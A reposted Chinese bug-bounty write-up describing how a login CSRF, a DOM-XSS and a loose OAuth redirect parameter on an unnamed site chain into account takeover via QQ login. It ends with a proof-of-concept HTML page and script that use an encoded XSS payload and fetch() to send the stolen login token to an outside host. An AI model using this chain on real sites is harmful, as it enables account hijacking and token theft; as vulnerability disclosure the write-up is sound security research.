组合漏洞导致的账号劫持

2019-04-04 约 225 字 预计阅读 2 分钟

声明:本文 【组合漏洞导致的账号劫持】 由作者 sn00py 于 2018-12-07 09:20:00 首发 先知社区 曾经 浏览数 4561 次

感谢 sn00py 的辛苦付出!

Login CSRF + DOM-XSS + unsafe URL redirect = ATO

在最近参与的一次对站点A的众测中,我发现A可以使用QQ账号进行登陆。在过去的几个月里,我发现了大量关于OAuth登陆劫持的漏洞,如果你有兴趣,可以参考:OAuth回调参数漏洞案例解析

尽管我相信目标A已经不存在OAuth登陆劫持漏洞(因为QQ已经在redirect_uri参数上做了强校验),但是我仍打算对它的登陆流程一探究竟。

下面,我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。

打开A的QQ登陆链接后,我发现了一些奇妙的事。

如上图,redirect_uri并没有指向A.com,而是指向了B.com。将参数URL解码,

不难推测,这里涉及到2次跨域登陆:

  1. redirect_uri: qq.com => B.com
  2. s_url: B.com => A.com

在开头已经说过,QQ已经对redirect_uri参数做了强校验,要想劫持到B.com的登陆账号已经不太可能。所以,我的目标放在了s_url这个参数上。

简单分析一下登陆流程就能发现s_url是如何工作的。

(a) 首先,用户使用QQ账号登陆到B.com;

(b) 然后B.com发送如下请求,获取token,并引导用户携带token跳转到A.com;

(c) A.com验证token是合法的,则种下cookie。

至此,用户成功登陆到A.com。

从整个登陆流程来看,只要我们能想办法窃取到token,就能劫持用户的登陆账号。

unsafe URL redirect

我的目标是窃取到token,最直接的办法当然是修改参数s_url,让用户携带token跳转到恶意域名,从而泄露token。

一番测试后,我发现s_url的校验也很严格,即使在路径后面附加一些字符,生成的跳转链接中都不会携带token。

经过一些fuzz后,我发现我似乎能在最后一个字符后面附加一些符号。

我可以在s_url的结尾附加3种符号,而不影响token的生成,分别是:

%3f => ?
%20 => 空格
%23 => #

#让我眼前一亮,众所周知,URL中的#将被浏览器视作锚点,其后的数据不会发送到服务器。

当用户跳转到这个地址,自然会无法认证成功,并停留在Login页面。

此时token也将出现在URL中。

至此,我们已经在窃取token的道路上迈出了重要的一步。

DOM-XSS

现在,我们面临的问题是如何获取到URL中的token。

最容易想到的就是XSS啦,我们可以用XSS创建一个iframe,在iframe加载登陆链接,当跳转完成后,再获取iframe的location.href属性。

一番寻找后,我终于找到一处疑似存在DOM-XSS的函数,

renderFrame: function (url, param, path, hash, isOld) {
    var that = this;
    hash && (url += isOld ? "/" + hash : "#" + hash),
        param && param._hash && (url += param._hash),
        url += window.location.search,
        path = path.replace(/(\/?console\/?)/, ""),
        path = path.replace(/\/\*/, "");

    var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'),
......

验证后发现确实存在,payload:

但是这个XSS必须用户登陆后才能触发,如果能找一处登陆CSRF,就能使得漏洞更通用了。

Login CSRF

其实在前面已经提到了这个漏洞了,

这个请求不会检查referer,携带未使用过的token请求这个链接就能登陆成功。所以,只要我们事先准备一个没使用过的token,让受害者请求这个链接就行了。

ATO

接下来理一下整个利用过程:

  1. 登陆我自己的账号,抓一个token
  2. 让受害者用我的token登陆
  3. 触发XSS
    1. 打开QQ的OAuth登陆界面
    2. 受害者使用QQ账号登陆
    3. 页面跳转到A.com/Login#token=111
    4. 获取location.href,窃取到token

在打开OAuth登陆界面这一步我原本打算使用iframe,但是测试后发现在iframe里无法无法跳转到A.com,因为B.com使用了如下代码来防止iframe加载,

if (top != self) {
    top.location.href = s_url;
} else {
    top.location.replace(s_url);
}

但我们可以使用window.open()开一个新窗口来绕过。

以下是我写的一个POC:

evil.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login CSRF</title>
</head>
<body>
<!--首先创建一个iframe用我的token登陆-->
<iframe src="https://A.com/Index/Login?token={My_token}"
        sandbox="allow-popups allow-scripts allow-same-origin" width="500px" height="500px"></iframe>
<script>
    // 登陆成功后,跳转到XSS地址
    function redirect2xss() {
        window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//";
    }

    setTimeout(redirect2xss, 6000);
</script>
</body>
</html>

1.js:

document.body.onload = function () {
    // 打开OAuth登陆界面
    myWindow = window.open('https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa', '', 'width=600,height=600');
    setTimeout(function () {
        // 获取token
        data = myWindow.document.location.href;
        fetch("//xss.me/?data=" + escape(data));
    }, 9000);
};

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now